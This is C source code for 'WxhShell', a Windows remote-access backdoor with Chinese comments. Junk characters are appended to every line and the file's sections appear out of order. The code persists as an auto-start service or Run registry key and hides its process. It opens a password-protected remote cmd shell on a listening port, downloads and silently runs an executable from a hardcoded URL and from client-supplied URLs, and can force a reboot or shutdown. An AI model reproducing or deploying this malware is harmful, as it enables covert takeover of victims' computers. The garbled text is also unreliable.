    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYNn zgd  
    else { Y&bYaq  
    closesocket(wsh); gWHY7rv  
    ExitThread(0); =T3{!\tH  
    } (QIU3EN  
    break; Byw EoS  
    } G h+;Vrx  
  // 获取shell ?M4ig_  
  case 's': { UZt3Ua&J  
    CmdShell(wsh); &c-V QP(  
    closesocket(wsh); vVtkB$]L  
    ExitThread(0); WrwbLlE  
    break; b(N+_= n  
  } ;sA 5&a>!  
  // 退出 4'D^>z!c  
  case 'x': { c),UO^EqV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pRjEuOc  
    CloseIt(wsh); ;s,1/ kA  
    break; by9UwM=gp  
    } J37vA zK%  
  // 离开 pm+E)z6Yo  
  case 'q': { / P@P1l|I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uot(3p!S6  
    closesocket(wsh); \68bXY.  
    WSACleanup(); _lI(!tj(  
    exit(1); 8Q/cJ+&  
    break; 4?@5JpC9VA  
        } H8"RdKwg?  
  } g&/lyQ+G  
  } "n3n-Y#'  
#vK99 S2  
  // 提示信息 EIzTbW{p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e?(4lD)d  
} ^Vth;!o  
  } Z .`+IN(>E  
Yw=@*CK'  
  return; o&q:b9T  
} A* qR<cp[  
`vt+VUNf  
// shell模块句柄 YH^U "\}i  
int CmdShell(SOCKET sock) ^Mm%`B7W  
{ _Rj bm'kC  
STARTUPINFO si; xM)P=y_!M+  
ZeroMemory(&si,sizeof(si)); @&HLm^j2O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y46sL~HRv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " ?aE3$/  
PROCESS_INFORMATION ProcessInfo; W{JR%Sq$  
char cmdline[]="cmd"; |LIcq0Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); umPN=0u6  
  return 0; nUq@`G  
} ii`,cJl  
'O~_g5kC  
// 自身启动模式 De$Ic"Z9L  
int StartFromService(void) M Ir[_  
{ Xl$r720ZJr  
typedef struct E\4ZUGy0  
{ uuHs)  
  DWORD ExitStatus; rr1,Ijh{D  
  DWORD PebBaseAddress; F'<XB~ &o  
  DWORD AffinityMask; 7zQGuGo(  
  DWORD BasePriority; l66 QgPA  
  ULONG UniqueProcessId; 4t*VI<=<[  
  ULONG InheritedFromUniqueProcessId; w'i+WEU>l  
}   PROCESS_BASIC_INFORMATION; ?aaYka]  
]S(nA!]  
PROCNTQSIP NtQueryInformationProcess; MYJDfI  
KxmB$x5-=8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l;z+E_sQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R90chl   
 CU\r I  
  HANDLE             hProcess; !x-9A  
  PROCESS_BASIC_INFORMATION pbi; @(/$;I,  
Ei,dO;&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N}z]OvnZH  
  if(NULL == hInst ) return 0; N^`S'FVA  
j*VYUM@y1\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G^P9_Sw]d3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :gkn`z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B_c-@kl   
AA|G &&1y  
  if (!NtQueryInformationProcess) return 0; 9Z2aFW9  
=;8q`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4tiCxf)  
  if(!hProcess) return 0; V,7Xeh(+5L  
:d<F7`k H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ov:U3P?%  
t]t(/x#  
  CloseHandle(hProcess); ]R"n+LnI:=  
-oju-gf K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #B$_ily)  
if(hProcess==NULL) return 0; X=Y>9  
Fvv/#V^R  
HMODULE hMod; I*+*Wf  
char procName[255]; oXwcil  
unsigned long cbNeeded; jfR!M07|  
\ o?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0oyZlv*  
O,&p"K&Z  
  CloseHandle(hProcess); %[?{H} y  
Q `h@-6N  
if(strstr(procName,"services")) return 1; // 以服务启动 8 =3#S'n  
[HRP&jr  
  return 0; // 注册表启动 Xs4G#QsA J  
} 2c9]Ja3:6  
L~M6 ca"  
// 主模块 Gnqun%  
int StartWxhshell(LPSTR lpCmdLine) (j)>npOd9  
{ <ot%>\C  
  SOCKET wsl; :;3y^!  
BOOL val=TRUE; FbPoyh  
  int port=0; t-hN4WKH_A  
  struct sockaddr_in door; s\ ]Rgi>w  
_l]rt  
  if(wscfg.ws_autoins) Install(); W<H^V"^  
ra\2BS)X  
port=atoi(lpCmdLine); 1z8AK"8  
0j-;4>p  
if(port<=0) port=wscfg.ws_port; 4mWT"T-8  
q'[yYPDX5x  
  WSADATA data; 0 KWi<G1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5r\Rfma  
\xtmd[7lb<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j98>Jr\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u $T'#p1  
  door.sin_family = AF_INET; /#4BUfY f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A.S:eQvS%  
  door.sin_port = htons(port); %$(*.o!+8  
}15ooe%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0'y3iar  
closesocket(wsl); c:`&QDF  
return 1; Y4/ !b  
} ?37Kc,o  
r`=!4vY2  
  if(listen(wsl,2) == INVALID_SOCKET) { !7kca#,X  
closesocket(wsl);  N5GQ2V  
return 1; -}<W|r  
} cW, 6 MAQo  
  Wxhshell(wsl); y$pT5X G  
  WSACleanup(); Ll6|WhX  
G0$,H(]~  
return 0; D\G P+Ota  
FBK6{rLMc  
} %xI,A'#  
Si%K|$?@  
// 以NT服务方式启动 3Q(#2tL=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LMte,zs>  
{ -RnQ8Iu o  
DWORD   status = 0; ~C],?X(zk  
  DWORD   specificError = 0xfffffff; 7b[vZNi_  
:~]ha  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?)#}Nj<R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; faaFmEC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >sE{c>R%  
  serviceStatus.dwWin32ExitCode     = 0; v.I>B3bEg  
  serviceStatus.dwServiceSpecificExitCode = 0; lo!_;`v=U  
  serviceStatus.dwCheckPoint       = 0; fDY#&EO: %  
  serviceStatus.dwWaitHint       = 0; h3Z0NJ=xM  
Ke+#ww  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KGb3n;]  
  if (hServiceStatusHandle==0) return; |Gh~Zu p  
U ()36  
status = GetLastError(); 8U>f/dxLOO  
  if (status!=NO_ERROR) $q;dsW,8  
{ O>`DR0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8CKI9  
    serviceStatus.dwCheckPoint       = 0; PYz^9Ud 6g  
    serviceStatus.dwWaitHint       = 0; y"SVZ} ;|  
    serviceStatus.dwWin32ExitCode     = status; VDq?,4Kb  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7*r7Q'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vL7 JzSU_  
    return; LHz-/0 [  
  } HGpj(U:`c  
"(rG5z3P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q\g|K3V)  
  serviceStatus.dwCheckPoint       = 0; <ibEo98  
  serviceStatus.dwWaitHint       = 0; L?e N(L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %<w)#eV?  
} ']ussFaQ  
`PR)7}/<  
// 处理NT服务事件,比如:启动、停止 aJ1<X8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n089tt=TE  
{ !bG%@{WT  
switch(fdwControl) />z E$)'M  
{ a:tCdnK/  
case SERVICE_CONTROL_STOP: 7a}vb@  
  serviceStatus.dwWin32ExitCode = 0; iWZrZ5l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kMz^37IFMG  
  serviceStatus.dwCheckPoint   = 0; s`G3SE  
  serviceStatus.dwWaitHint     = 0; r0)X]l7  
  { ga~C?H,K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "?GA}e"R  
  } Em8C +EM  
  return; wh@;$s"B  
case SERVICE_CONTROL_PAUSE: Ul@yXtj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; + AyrKs?h  
  break; &i,xod6$  
case SERVICE_CONTROL_CONTINUE: gzthM8A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?HBNd&gZ1G  
  break; 0;j)rmt  
case SERVICE_CONTROL_INTERROGATE: ~P85Or  
  break; hYMo5?  
}; V!F# ek:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <m#ov G6  
} WBgS9qiB  
xFt[:G`\}u  
// 标准应用程序主函数 2n] Br  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I|*w?i*  
{ emo@&6*  
}0Qex=vkO  
// 获取操作系统版本 Wi Mi0?$.  
OsIsNt=GetOsVer(); /L8Q[`;.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?[}r& f  
~e5hfZv|w  
  // 从命令行安装 ew# t4~hh  
  if(strpbrk(lpCmdLine,"iI")) Install(); sF$$S/b  
25RFi24>D  
  // 下载执行文件 1o. O]>  
if(wscfg.ws_downexe) { qJb9JL$s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6.| {l8%r  
  WinExec(wscfg.ws_filenam,SW_HIDE); :O}=$[  
} ]E\o<"#t/  
 ]CD  
if(!OsIsNt) { 'Tn i;  
// 如果时win9x,隐藏进程并且设置为注册表启动 m?]X NgT  
HideProc(); ^#T@NN0T  
StartWxhshell(lpCmdLine); ?H\K];  
} @-9I<)Z/2  
else "|yuP1;L  
  if(StartFromService()) Qx-/t9`!Z  
  // 以服务方式启动 3: 'eZ cM  
  StartServiceCtrlDispatcher(DispatchTable); oz(V a!  
else *E0dCY$  
  // 普通方式启动 /*)zQ?N  
  StartWxhshell(lpCmdLine); ~.?,*q7  
pPSmSWD?  
return 0; =ILE/ pC-|  
} *"\QR>n   
]uN}n;`12  
Fy^=LrH=D  
LE!xj 0  
=========================================== Tji G!W8  
qU(,q/l  
3xSt -MA  
|N%?7PZ(  
fz[o;GTc  
kQ5mIJ9(  
" #"J8]3\F  
3":vjDq$  
#include <stdio.h> tONX<rA|]  
#include <string.h> n.&z^&$w\)  
#include <windows.h> 6ge,2[PU  
#include <winsock2.h> /UP&TyZ  
#include <winsvc.h> ;x/do?FbT  
#include <urlmon.h> ^Oy97Y  
?/Bp8q(  
#pragma comment (lib, "Ws2_32.lib") (7l'e=J0  
#pragma comment (lib, "urlmon.lib") uURm6mVt9:  
J!40` 8i  
#define MAX_USER   100 // 最大客户端连接数 9K]Li\  
#define BUF_SOCK   200 // sock buffer zPzy 0lx  
#define KEY_BUFF   255 // 输入 buffer &\8qN_`  
_Mi`]VSq9  
#define REBOOT     0   // 重启 ]}t6V]`Q  
#define SHUTDOWN   1   // 关机 J:<mq5[  
.E H&GX  
#define DEF_PORT   5000 // 监听端口 3 q1LIM  
6'YT3=  
#define REG_LEN     16   // 注册表键长度 cR'l\iv+  
#define SVC_LEN     80   // NT服务名长度 e :(7$jo  
w;@NYMK)  
// 从dll定义API 1>I4=mj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]_!5g3VQh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >|{n";n&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U($bR|%D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LH7m >/LJr  
gD}lDK6N  
// wxhshell配置信息 . V5Pr}"y  
struct WSCFG { <'n'>@  
  int ws_port;         // 监听端口 z TYHwx  
  char ws_passstr[REG_LEN]; // 口令 +ZFw3KEkz  
  int ws_autoins;       // 安装标记, 1=yes 0=no #m x4pf{  
  char ws_regname[REG_LEN]; // 注册表键名 ='!E;  
  char ws_svcname[REG_LEN]; // 服务名 muh[wo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 = <yMB d\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ENZjRf4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -|K^!G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Iw)}YZmn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =geopktpf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H( L.k;B  
?4k/V6n@y  
}; kYbqb?  
~quof>  
// default Wxhshell configuration 'q3<R%^Q   
struct WSCFG wscfg={DEF_PORT, _C`&(?}  
    "xuhuanlingzhe", RT+pB{Y  
    1, WP5cC@x  
    "Wxhshell", JVfSmxy.  
    "Wxhshell", (*~'#k  
            "WxhShell Service", F ru&-T[  
    "Wrsky Windows CmdShell Service", ?3[Gh9g`  
    "Please Input Your Password: ", p **Sd[|  
  1, {KQ-QKxxS  
  "http://www.wrsky.com/wxhshell.exe", >:o$h2  
  "Wxhshell.exe" {}.M(nPtv;  
    }; I /2{I  
55Pe&V1=  
// 消息定义模块 P 2-^j)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dq07Z^#'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n["G ry  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &`@S_YLr  
char *msg_ws_ext="\n\rExit."; {lam],#r  
char *msg_ws_end="\n\rQuit."; {ef9ov Xk  
char *msg_ws_boot="\n\rReboot..."; KgD sqwy  
char *msg_ws_poff="\n\rShutdown..."; Nxm^jPM 0  
char *msg_ws_down="\n\rSave to "; xDqJsp=]-  
M `O=rH }  
char *msg_ws_err="\n\rErr!"; `T'[H/  
char *msg_ws_ok="\n\rOK!"; t=l@(%O 0_  
^LI\W'K  
char ExeFile[MAX_PATH]; o#Gf7.E8  
int nUser = 0; ttP|}|O  
HANDLE handles[MAX_USER]; ! 3 ;;6  
int OsIsNt; Vs1H)T%  
1k)31GEQw  
SERVICE_STATUS       serviceStatus; Ew< sK9[o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'c7'iDM  
<z.Y#{p?k  
// 函数声明 As{Q9o5j/  
int Install(void); e w%rc.;  
int Uninstall(void);  !n`9V^`  
int DownloadFile(char *sURL, SOCKET wsh); 7MbV|gM}  
int Boot(int flag); %LM2CgH V  
void HideProc(void); |*fi!nvk@  
int GetOsVer(void); dI(1L~  
int Wxhshell(SOCKET wsl); K#%@4]jO3  
void TalkWithClient(void *cs); C.|.0^5  
int CmdShell(SOCKET sock); q1^bH 6*fl  
int StartFromService(void); ,kQCCn]  
int StartWxhshell(LPSTR lpCmdLine); ]D.} /g  
m~I@ q [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q!10 G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /wi*OZ7R  
!We9T)e  
// 数据结构和表定义 *w#^`yeo  
SERVICE_TABLE_ENTRY DispatchTable[] = t f3R  
{ /KTWBcs 7  
{wscfg.ws_svcname, NTServiceMain}, ~XeWN^l(Ov  
{NULL, NULL} XQ'$J_hC  
}; ,Gi%D3lA  
\? n<UsI  
// 自我安装 u5.zckV  
int Install(void) )H1\4LeP  
{ $RA+StF!]  
  char svExeFile[MAX_PATH]; SpO%nZ";g8  
  HKEY key; 01n7ua*XX  
  strcpy(svExeFile,ExeFile); Gh5 3 Pne  
1Y:JGon  
// 如果是win9x系统,修改注册表设为自启动 ?vBMx _0  
if(!OsIsNt) { H2S/!Q;K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $jg~ a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RRb>]oD  
  RegCloseKey(key); H73 r3BH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pk3b#$+E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^/ff)'.J  
  RegCloseKey(key); :@b=;  
  return 0; t`- [  
    } 'WNq/z"X  
  } tjLG$M1z`  
} !ra,HkU'  
else { z8dBfA<z  
'F%h]4|1  
// 如果是NT以上系统,安装为系统服务 /g>]J70  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g8R@ol0  
if (schSCManager!=0) 8 \"A-+_Q  
{ =B{B ?B"r  
  SC_HANDLE schService = CreateService \"a~~Koe  
  ( B)x^S >  
  schSCManager, 3:aj8F2  
  wscfg.ws_svcname, !lL~#l:F  
  wscfg.ws_svcdisp, "sSY[6Kp!  
  SERVICE_ALL_ACCESS, .wO-2h{Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ! GJT-[  
  SERVICE_AUTO_START, Q5&|1m Pb  
  SERVICE_ERROR_NORMAL, ctoh&5%!n+  
  svExeFile, W %1/: _  
  NULL, |fB/hs \  
  NULL, l h?[wc  
  NULL, 6`@6k2]  
  NULL, 5FVmk5z]d  
  NULL q:1n=i Ei  
  ); pK"iTc#\X  
  if (schService!=0) v*kX?J#]5  
  { g;7W%v5wqk  
  CloseServiceHandle(schService); U UhlKV|5  
  CloseServiceHandle(schSCManager); D/ tCB-+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G|I}x/X"Q7  
  strcat(svExeFile,wscfg.ws_svcname); z.!u<hy(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 98maQQWD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jz]OWb *  
  RegCloseKey(key); cK,&huk  
  return 0; b w!  
    } J^=Xy(3e  
  } ;v!Ef"E|cV  
  CloseServiceHandle(schSCManager); gDjAnz#  
} O YfRtfE  
} w!b;.l  
u}?|d8$h\  
return 1; IC6'>2'=T  
} ;*{Ls#  
e F(oHn,  
// 自我卸载 NE><(02qW  
int Uninstall(void) ` Nv1sA#C  
{ QBCEDv&j  
  HKEY key; kZ0z]Y  
Ekn3ODz,  
if(!OsIsNt) { ?r}2JHvN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YB_fy8Tfx  
  RegDeleteValue(key,wscfg.ws_regname); l15Z8hYh j  
  RegCloseKey(key); 6H!l>@a7v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \D-X _.v  
  RegDeleteValue(key,wscfg.ws_regname); _=9m [  
  RegCloseKey(key); wn.UjxX.  
  return 0; \"X_zM  
  } @ %o'  
} !Ld[`d.|R!  
} `NyO|9/4  
else { HOrXxxp1^  
w}YcAnuB{%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R1Fcd@DWD  
if (schSCManager!=0) }((P)\s  
{ ~"Su2{"8B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L/)eNZ  
  if (schService!=0) N+vsQ!Qz  
  { z2jS(N?J1  
  if(DeleteService(schService)!=0) { xxG>Leml  
  CloseServiceHandle(schService); "g/UpnH  
  CloseServiceHandle(schSCManager); a{Y8 hR  
  return 0; Z?qc4Cg  
  } 9 RC:-d;;_  
  CloseServiceHandle(schService); F jW%M;H  
  } :|-^et]a8  
  CloseServiceHandle(schSCManager); 7HJH9@8V  
} #@ F   
} RLO<5L  
@cQ |`  
return 1; BnG{) \s  
} ($!g= 7  
;)vs=DK:)  
// 从指定url下载文件 4O4}C#6(4  
int DownloadFile(char *sURL, SOCKET wsh) )"g @"LJ=  
{ 8mC$p6Okd  
  HRESULT hr; (S_1C,  
char seps[]= "/"; t1p[!53(  
char *token; @vO~'Xxq!  
char *file; Hn]6re  
char myURL[MAX_PATH]; ItE)h[86  
char myFILE[MAX_PATH]; @>F`;'_*z  
P )[QC  
strcpy(myURL,sURL); WHr:M/qD  
  token=strtok(myURL,seps); v?o("I[ C  
  while(token!=NULL) pIPjTQ?cq  
  { Gb.}af#v  
    file=token; <!-#]6  
  token=strtok(NULL,seps); ")u)AQ  
  } u&'&E   
=j@8/  
GetCurrentDirectory(MAX_PATH,myFILE); K,!f7KKo  
strcat(myFILE, "\\"); [9Hrpo]tU:  
strcat(myFILE, file); o}Zl/&(  
  send(wsh,myFILE,strlen(myFILE),0); u"(2Xer  
send(wsh,"...",3,0); zX8{(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zomg$@j  
  if(hr==S_OK) ^oEaE#I  
return 0; ~g *`E!2  
else /+m7J"Km  
return 1; @9g!5dcT  
BQ {'r^u  
} R4XcWx*pQ  
5 HN,y  
// 系统电源模块 &>Z p}.V  
int Boot(int flag) mFyYn,Mu|  
{ N8Un42  
  HANDLE hToken; ! H4uc  
  TOKEN_PRIVILEGES tkp; S/6I9zOP  
XRn+6fn|  
  if(OsIsNt) { a61?G!]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q[bIkvr|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }S9uh-j6l  
    tkp.PrivilegeCount = 1; h=_h,?_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _2eL3xXha.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *B+YG^Yu^  
if(flag==REBOOT) { !< ^`Sx/+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |RI77b:pX  
  return 0; 7T?7KS  
} P#2;1ki>  
else { EU()Nnm2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?D]T| =EZY  
  return 0; #Y>d@  
} w*AXD!}  
  } 9z(h8H  
  else { m A|"  
if(flag==REBOOT) { tHo/Vly6Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j*jq2u  
  return 0; u_S>`I  
} "HbrYYRb'  
else { s`,.&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p+R8Mo;I  
  return 0; <$`ud P@  
} pl.=u0 *  
} <~Tfi*^+  
7@i2Mz/eV  
return 1; [oS.B\Vc  
} JmVha!<qk  
;%PdSG=U  
// win9x进程隐藏模块 ] I0(_e|z}  
void HideProc(void) +isaqfy/  
{ 4?e7s.9N  
d?(eL(W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H@8 ;6D  
  if ( hKernel != NULL ) 'p(I!]"uo  
  { I\ y>I?X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #|{^k u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y&DC5T]  
    FreeLibrary(hKernel); !& xc.39  
  } E %> ){Y)  
_:l<4u !  
return; HltURTbI  
} ;AgXl%Q  
)IZ~!N|-w  
// 获取操作系统版本 x20sB  
int GetOsVer(void) ]i pltR7k  
{ GGn/J&k  
  OSVERSIONINFO winfo; 9!|.b::  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wz] OM  
  GetVersionEx(&winfo); L}%4YB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ci^tP~)&"  
  return 1; $kk!NAW  
  else W>]=0u4  
  return 0; `'<&<P  
} #oD * H:%*  
^k}jPc6  
// 客户端句柄模块 #&c}i n"!  
int Wxhshell(SOCKET wsl) }!g^}BWWp  
{ {!vz 6QDS  
  SOCKET wsh; w`OHNwXh#I  
  struct sockaddr_in client; oGi{d5  
  DWORD myID; 3:WXrOl  
qbe9 CF'@_  
  while(nUser<MAX_USER) c6)q(zz  
{ &\o !-EIK8  
  int nSize=sizeof(client); awa$o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >P\/\xL=  
  if(wsh==INVALID_SOCKET) return 1; ZN?UkFnE  
UBxQ4)%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~2*8pb 4  
if(handles[nUser]==0) gT6@0ANq  
  closesocket(wsh); K%"cVqb2V  
else 0UT2sM$  
  nUser++; y:8*!}fR  
  } D2}nJFR ]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {CR'Z0  
.4wp  
  return 0;  )7Ed }6%  
} 7|Tu@0XXA  
JR j%d&^}  
// 关闭 socket 8o;9=.<<~u  
void CloseIt(SOCKET wsh) X`k[ J6  
{ u)fmXoQ  
closesocket(wsh); !]k$a  
nUser--; K r&HT,>B  
ExitThread(0); i3} ^j?jA2  
} ]gQ4qu5  
5:H9B  
// 客户端请求句柄 ?pv}~>  
void TalkWithClient(void *cs) DHV#PLbN$  
{ T9+ ?A l  
U8(Rye$  
  SOCKET wsh=(SOCKET)cs; [UHDN:y  
  char pwd[SVC_LEN]; cHMS[.=;  
  char cmd[KEY_BUFF]; Y+tXWN"8  
char chr[1]; =NzA2td  
int i,j; m ,U`hPJ  
@"#W\m8  
  while (nUser < MAX_USER) { 6"W~%FSJX  
}]H_|V*f  
if(wscfg.ws_passstr) { <j.bG 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oA&V,r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Hn3  
  //ZeroMemory(pwd,KEY_BUFF); !%?X% @9  
      i=0; Oj*3'?<7=  
  while(i<SVC_LEN) { &` u<KKF6  
ToN$x^M w  
  // 设置超时 dZ7+Iw;m  
  fd_set FdRead; pU*dE   
  struct timeval TimeOut; , ]'?Gd  
  FD_ZERO(&FdRead); aMFUJrXo  
  FD_SET(wsh,&FdRead); ~sQN\]5VW  
  TimeOut.tv_sec=8; ;?i(WV}ee  
  TimeOut.tv_usec=0; YQ _3[[xT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cFoDR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^V~r S8]gj  
5u\si4BL{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wb"*9q06  
  pwd=chr[0]; !#nlWX :~  
  if(chr[0]==0xd || chr[0]==0xa) { p_jDnb#  
  pwd=0; !ldb_*)h  
  break; zZ|Si  
  } 1;[\xqJ  
  i++; o~F @1  
    } q@p-)+D;  
Vet7a_  
  // 如果是非法用户,关闭 socket "K z=Z C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4cql?W(D  
} ?s("@dz_  
EIwTx:{F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V>j6Juh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _1`*&k JL~  
Qcz7IA  
while(1) { _Va!Ky =]  
S"UFT-N  
  ZeroMemory(cmd,KEY_BUFF); yk9|H)-z  
.Mw'P\GtM  
      // 自动支持客户端 telnet标准   u|7d_3 ::  
  j=0; i=-zaboo  
  while(j<KEY_BUFF) { 4XDR?KUM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9 I> 3p4]  
  cmd[j]=chr[0]; 2@o_7w98  
  if(chr[0]==0xa || chr[0]==0xd) { FG-w7a2mn  
  cmd[j]=0; Nf>1`eP  
  break; 02} &h  
  } +n]U3b  
  j++; ]S[zD|U%  
    } m El*{]  
IEdC _6G  
  // 下载文件 {hX. R  
  if(strstr(cmd,"http://")) { dx@#6Fhy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R v6{ '\:  
  if(DownloadFile(cmd,wsh)) W 0Q-&4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X|H%jdta  
  else su(y*187A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 iW]#O/  
  } \@Gyl_6^  
